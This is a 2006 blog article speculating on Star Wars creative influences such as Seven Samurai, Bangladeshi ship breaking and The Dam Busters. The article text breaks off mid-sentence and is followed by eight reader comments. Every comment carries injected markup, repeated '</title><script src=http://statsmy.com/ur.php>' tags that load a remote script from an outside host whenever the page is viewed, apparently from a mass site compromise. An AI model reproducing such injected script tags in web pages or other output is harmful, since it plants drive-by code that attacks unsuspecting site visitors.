Smooth Operator - Some Entirely Plausible Star Wars Creative Influences

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Some Entirely Plausible Star Wars Creative Influences

by Mark on 12/22/2006 (8)

From whence did Star Wars came? From the fertile imagination of George Lucas alone, or something much more? And if so, what artistic forces influenced George Lucas in the first place? Each one of us, from our earliest childhood, is exposed to folklore and fabulous tales of heroic fiction, from within our families founding culture, and from media in movie theaters, television and beyond. Here are some possible creative sources for George's Star Wars sagas, some obvious, others a bit more subtle and obscure.

The Seven Samurai and the Jedi Knighthood: The 1954 Japanese celluloid classic, The Seven Samurai is widely regarded by many Sci-Fi cinema scholars as Lucas's foundation artistic influence in writing the Star Wars trilogy. The overall plot certainly appears similar to Star Wars. Substitute Jedi for Samurai, The Empire for armed bandits, and swords for light sabers, and you have an intriguing, if not rather suspicious, dead-on match.

Jawas, Sand People, and Bangladesh ship breaking yards: The compelling, highly panoramic contrast of tiny Jawas in their towering Land Crawler against vast tracts of desolate desert sand on the planet Tatooine is eerily reminiscent of huddled, shadowy Bangladeshis breaking apart beached freighters on the Chittagong Sea beach in this picture from "Breaking Ships" a riveting photo essay by Roland Buerk. Ship breaking in the region started automatically when a 20,000 tonne vessel was driven ashore by a devastating tidal bore in 1965. That was the first ship scrapped, giving Lucas ample time to make an artistic connection.

Furthermore, comparing the berobed, wild-eyed appearance of Bangladeshi ship breakers to the equally menacing and unpredictable Sand People is no daunting stretch of the imagination as well.

X-Wings, Red Leaders and Barnes Wallis Bouncing Bombs: The indelible Grand Finale in the original Star Wars movie, the attack on the Death Star, is hauntingly similar to Great Britain's attack on 6 German Dams in World War II, as described in the 1954 black and white movie The Dam Busters. Brilliant British engineer Barnes Wallis's unique "Bouncing Bombs" were successfully deployed using the Avro Lancasters of No. 617 Squadron RAF in Operation Chastise on the night(s) of May 16-17, 1943.

The trench battle in the Star Wars movie is an almost exact duplicate of one of these bouncing bomb attacks. The valleys surrounding the Nazi da

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1. by Katy on 3/1/2007 4:52:29 PM

Also there are HUGE paralells between the Sergio Leone Westerns and Star Wars...u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Motz on 3/1/2007 4:52:29 PM

I love Raviloi westerns!"0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Katy on 3/1/2007 4:52:29 PM

It's really neat to watch it and match the characters. Like, the most obvious is boba Fett as the Man with No Name. Also for a bit of a correction to the Samuri Warrior influence, it is true the Jedi were modelled after them, but the influence is based on Akira Korusawa's films (specifically his film The Hidden Fortress)one"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Motz on 3/1/2007 4:52:29 PM

The human mind is common."0" style= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by loxy on 3/1/2007 4:52:29 PM

Anyone who has read dinotopia will also see some coincidencesgo.ph </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by BOB on 3/1/2007 4:52:29 PM

This article hardly hits anything. You want to see what Lucas copied? Go rent the old Flash Gordon movies. It's all right there, right down to the credits scrolling away out into space.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Noize on 3/1/2007 4:52:29 PM

Bob, Katy is right; it's not just that Akira Kurosawa directed the Hidden Fortress; a large number of plot points of the original Star Wars movie match almost exactly with the Hidden Fortress: A samurai(jedi knight), aided by two servants, a lanky one and a short fat one, must rescue a strong- willed princess whose father was recently killed and get her back to a secret base. To do so, he must engage in a duel with a master swordsman with whom he used to be friends. He doesn't want to kill the guy and would rather try to convince him to stop working for the bad guys. Sound familiar?go </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by T Money on 2/27/2009 4:33:44 PM

Anyone notice how similar the bridge of the WWII German Battleship Bismarck is to an Imperial Battle Cruiser in Star Warsisplay: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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